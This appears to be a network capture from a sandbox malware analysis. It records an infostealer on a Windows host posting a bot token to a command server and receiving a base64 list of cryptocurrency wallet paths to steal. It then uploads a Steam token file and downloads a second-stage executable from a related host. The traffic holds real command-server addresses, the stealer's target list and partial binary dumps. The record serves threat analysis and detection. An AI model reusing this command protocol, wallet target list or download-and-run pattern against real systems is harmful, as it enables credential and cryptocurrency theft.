Nov 28, 2024 17:24:49.500929117 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:49.951575994 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 17:24:50.609575033 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 17:24:51.726558924 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:51.802966118 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="message"wallets------FBFIJJEBKEBFCBGDAEGD--
Nov 28, 2024 17:24:52.252777100 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 17:24:52.256990910 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="message"files------BAEBGCFIEHCFIDGCAAFB--
Nov 28, 2024 17:24:52.707994938 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:52.721276999 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file"------KJDGDBFBGIDGIEBGHCGI--
Nov 28, 2024 17:24:53.668741941 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:53.754977942 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"ybncbhylepme------ECGDAAFIIJDAAAAKFHID--
Nov 28, 2024 17:24:54.210697889 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49926	185.215.113.16	80	2020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:24:54.375088930 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 17:24:55.919197083 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:24:55 GMT Content-Type: application/octet-stream Content-Length: 1865728 Last-Modified: Thu, 28 Nov 2024 16:02:26 GMT Connection: keep-alive ETag: "67489412-1c7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@@Js@WkDIPI @.rsrcD@.idata @ )@hpiiigzq`0\@rizbcyzdJR@.taggant0J"V@
Nov 28, 2024 17:24:55.919265985 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:24:55.920181036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:24:55.920291901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:24:55.920372009 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:24:55.920819998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:24:55.920922041 CET	1236	IN	Data Raw: 8a 85 94 01 8d 97 21 af 14 f4 4e 36 8b 60 5a 1a cc d4 4e a2 9b e1 92 0e 5b 12 b4 71 49 d8 50 e3 98 64 3e 6f 80 e8 ac 72 9d d0 70 60 0c 30 51 62 df e2 21 72 c5 c0 7d 5a 6c 24 9c b8 0a d4 36 2f fe f4 7f 46 85 54 73 6c 4c 30 71 22 8a 61 cb d0 52 a4 Data Ascii: !N6`ZN[qIPd>orp`0Qb!r}Zl$6/FTslL0q"aRn4Bytp0q!4Vn<[)O2/m-aG]:htxh],b!~mp`?Fi;\|:0q4.]x\|cA/^m?!4E&<y<:AHO
Nov 28, 2024 17:24:55.920929909 CET	248	IN	Data Raw: 69 08 1e 2e d1 7c 7d 3e c7 8c 07 f1 c0 a5 65 f2 c5 be 4b 8e 87 84 4a 42 27 75 e5 fa e9 ce 23 dc e2 e7 08 12 37 bb f2 6f ce 16 33 9f ee ac 1f ff 86 93 51 a2 0e 83 92 85 96 fe 30 42 77 29 98 ab 7a ac 34 bf fa d2 14 55 ca 0b 46 19 5f c4 ba 85 7b 9f Data Ascii: i.\|}>eKJB'u#7o3Q0Bw)z4UF_{1Gsgyvq[S:Hu,fLBFX\|h<pgpLE:<@b?sAZO;YS&?MW^}D]%OEADV"
Nov 28, 2024 17:24:55.922142982 CET	1236	IN	Data Raw: 79 a1 94 60 b6 fc f6 2f 78 b2 4c e6 ee 3f 37 f6 87 08 a7 1e 90 31 fc 33 38 24 f4 22 8d 11 ce be 37 af e9 3c a8 a4 3d 0b 3f bc 7d 85 83 ac 07 c3 5a cd 0d 6c 5d b0 36 65 97 c3 77 39 7b dd 8c f6 92 f2 21 89 6e 34 63 cb 12 3e 73 7f e3 64 ef 27 8b 78 Data Ascii: y`/xL?7138$"7<=?}Zl]6ew9{!n4c>sd'x!:,aR;]nqxpS/fKy0{+1 dd{K\|%Lw<Ix<=dDT,`CL_kNVb8;\[6amo F!f^JOyJet)7d<\|OVu+)
Nov 28, 2024 17:24:55.922235966 CET	1236	IN	Data Raw: 5f b5 a4 7c 73 54 01 f2 5f 26 e4 c2 27 f3 cf a0 ea 40 81 6f c1 a0 72 86 15 12 cc a6 b8 46 d4 6e ef 94 75 6a 3a bc 61 4c 54 c2 73 2d da b7 40 82 e6 0f 7c 64 04 b3 e5 b8 aa b5 18 3a 34 1c c0 f7 83 ce 3f f5 32 f0 9f 82 8d 9c a9 8b 0b 2e db 14 f2 8b Data Ascii: _\|sT_&'@orFnuj:aLTs-@\|d:4?2.zEs=kiB{;z&9~rqY'.gr"%%>&37PfOb?9iav="<C8>;Le3bSIPV\|nWX^<0866pCQuW0}Ut
Nov 28, 2024 17:24:56.039644957 CET	1236	IN	Data Raw: c8 00 4c d1 db b2 68 35 94 d3 b9 70 12 64 92 85 ac fe 0c 14 4f 39 62 f0 4b e2 14 85 22 73 f4 3b 0a b4 4e 7b b9 a9 cd 9a 42 6a 31 c3 a2 ea 70 04 b6 3f 52 6b fa 52 03 70 de f9 37 18 5c 57 ef aa 8e b1 fa b9 4d b0 6a 53 a3 71 88 35 84 9c 79 6f 77 9a Data Ascii: Lh5pdO9bK"s;N{Bj1p?RkRp7\WMjSq5yowYU,2%3 0K#OCz$-LV@Wgsx"&{'mB@Hn91yW~_og~kX=k]$K^813f-8d$v@w}=:*NL\|{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49939	185.215.113.206	80	2020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:24:59.525968075 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHIECGCBKFHIEBGHDBK--
Nov 28, 2024 17:25:01.405276060 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:25:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50090	185.215.113.43	80	8632	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:05.276892900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 17:26:06.675010920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50091	185.215.113.43	80	8632	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:08.303149939 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 28, 2024 17:26:09.683693886 CET	1192	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 65 39 0d 0a 20 3c 63 3e 31 30 30 39 39 31 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 38 63 61 31 35 31 65 65 38 30 30 62 32 31 35 31 35 30 33 34 31 38 65 63 38 63 37 34 31 39 36 66 65 39 61 35 35 33 36 65 36 23 31 30 30 39 39 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 66 63 33 31 34 31 63 65 39 30 30 62 36 31 39 31 35 30 33 34 30 38 30 66 32 62 30 30 66 39 36 39 37 39 61 35 35 33 36 65 36 23 31 30 30 39 39 32 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 37 63 30 31 35 31 35 65 62 30 35 62 35 31 66 31 31 30 33 36 31 39 62 66 31 63 36 30 39 65 37 38 30 39 61 35 35 33 36 65 36 [TRUNCATED] Data Ascii: 3e9 